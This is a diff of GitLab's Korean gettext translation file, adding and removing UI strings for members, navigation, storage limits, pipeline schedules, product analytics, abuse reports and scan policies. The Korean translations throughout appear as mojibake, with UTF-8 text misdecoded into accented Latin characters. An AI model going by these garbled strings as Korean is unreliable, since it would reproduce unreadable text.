@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "ë” ìžì„¸ížˆ 알아보기"
@@ -24857,6 +25110,9 @@ msgstr "웹 IDE를 사용하여 브ë¼ìš°ì €ì—ì„œ 변경 ì‚¬í•­ì„ ìž‘ì„±í•˜ê³ 
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr "í•  ì¼ì„ 완료로 표시"
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr "표시들"
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr "메시지"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr "MilestoneCombobox|마ì¼ìŠ¤í†¤ 검색"
msgid "MilestoneCombobox|Select milestone"
msgstr "MilestoneCombobox|마ì¼ìŠ¤í†¤ ì„ íƒ"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr "여러 IP 주소 범위가 지ì›ë©ë‹ˆë‹¤. 그룹 ì„¤ì •ì— ëŒ€í•œ ì•¡ì
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr "ì´ë¦„"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "새 ë¼ë²¨ ì´ë¦„ 지정"
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "ì €ìž¥ì†Œì— í‘¸ì‹œí•˜ê³ , 파ì´í”„ë¼ì¸ì„ 만들고, ì´ìŠˆë¥¼ ìƒì„±í•˜ê±°ë‚˜, ì˜ê²¬ì„ 추가합니다. 저장 ìš©ëŸ‰ì„ ì¤„ì´ë ¤ë©´ 사용하지 않는 리í¬ì§€í† ë¦¬, 아티팩트, Wiki, ì´ìŠˆ ë° íŒŒì´í”„ë¼ì¸ì„ 삭제합니다."
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "ë„움ë§"
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr "새 디렉토리"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr "ë¼ë²¨ ì—†ìŒ"
msgid "No labels with such name or description"
msgstr "그런 ì´ë¦„ ë˜ëŠ” 설명ì´ìžˆëŠ” ë ˆì´ë¸”ì´ ì—†ìŠµë‹ˆë‹¤."
-msgid "No license. All rights reserved"
-msgstr "ë¼ì´ì„¼ìŠ¤ê°€ 없습니다. All rights reserved"
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr "그룹 마ì¼ìŠ¤í†¤ 중 릴리스와 ë™ì¼í•œ 프로ì íŠ¸ê°€ 없습니
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr "관찰 가능성"
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "10ì›”"
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr "ìš´ì˜ ëŒ€ì‹œë³´ë“œëŠ” 파ì´í”„ë¼ì¸ê³¼ 경고 ìƒíƒœë¥¼ í¬í•¨í•˜ì—¬
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr "파ì´í”„ë¼ì¸ 유효성 검사 중... 최대 1ë¶„ì´ ì†Œìš”ë  ìˆ˜ 있
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "CI 콘í…츠가 로드ë˜ê¸°ë¥¼ 기다리는 중..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr "모ë‘"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "ì´ íŒŒì´í”„ë¼ì¸ ì¼ì •ì„ 삭제하시겠습니까?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "파ì´í”„ë¼ì¸ ì¼ì • ì‚­ì œ"
@@ -29965,6 +30314,9 @@ msgstr "파ì´í”„ë¼ì¸ ì¼ì • 편집"
msgid "PipelineSchedules|Inactive"
msgstr "비활성"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "마지막 파ì´í”„ë¼ì¸"
@@ -29992,6 +30344,12 @@ msgstr "ì´ íŒŒì´í”„ë¼ì¸ì— 대한 간단한 설명 제공"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "파ì´í”„ë¼ì¸ ì¼ì • 실행"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr "파ì´í”„ë¼ì¸ ì¼ì •ì„ 삭제하는 ë™ì•ˆ 문제가 ë°œìƒí–ˆìŠµë‹ˆë
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "파ì´í”„ë¼ì¸ ì¼ì •ì„ 가져오는 ë™ì•ˆ 문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr "대시보드ì—ì„œ 기본ì ìœ¼ë¡œ 보여줄 콘í…츠를 ì„ íƒí•©ë‹ˆë‹
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr "ë ˆì´ì•„웃 너비"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "%{min}와 %{max} 사ì´ì˜ 숫ìžì—¬ì•¼ 합니다."
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr "문법 하ì´ë¼ì´íŒ… 테마"
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr "시간 설정"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr "비공개 프로필"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Never"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "í¬í¬"
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr "git 태그를 릴리스 ì •ë³´, 릴리스 ì¦ê±° ë° ìžì‚°ê³¼ 결합하
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "프로ì íŠ¸ 리소스를 설정하고 ìƒíƒœë¥¼ 모니터ë§í•©ë‹ˆë‹¤."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "ì´ ì„¤ì •ì„ ë³€ê²½í•˜ë ¤ë©´ 관리ìžì—게 문ì˜í•˜ì„¸ìš”."
@@ -32335,9 +32912,6 @@ msgstr "%{code_block_start}Signed-off-by:%{code_block_end} 요소를 í¬í•¨í•˜ëŠ
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "ì´ ì €ìž¥ì†Œì—는 ì„œëª…ëœ ì»¤ë°‹ë§Œ 푸쉬할 수 있습니다."
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr "ProtectedEnvironment|%{project} / %{environment}ì— ë°°í¬ í—ˆìš©"
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "환경"
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "ProtectedEnvironment|그룹 ì„ íƒ"
@@ -34023,6 +34624,9 @@ msgstr "ë‚˜ì¤‘ì— ë¦´ë¦¬ìŠ¤ë¥¼ 편집하여 콘í…츠를 편집할 수 있습니
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr "답장"
@@ -34389,6 +34987,33 @@ msgstr "ë³´ê³ ì„œ ë²„ì „ì´ ì œê³µë˜ì§€ 않았습니다. %{report_type} ë³´ê³ ì
msgid "Report your license usage data to GitLab"
msgstr "ë¼ì´ì„ ìŠ¤ 사용 ë°ì´í„°ë¥¼ GitLabì— ë³´ê³ "
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "스ìºë„ˆ 프로필"
@@ -35923,9 +36554,6 @@ msgstr "스ìºë„ˆ 프로필 ì„ íƒ"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "사ì´íŠ¸ 프로필 ì„ íƒ"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "사ì´íŠ¸ 프로필"
@@ -35941,6 +36569,9 @@ msgstr "ScanExecutionPolicy|브랜치"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "네임스페ì´ìŠ¤ ë‚´"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
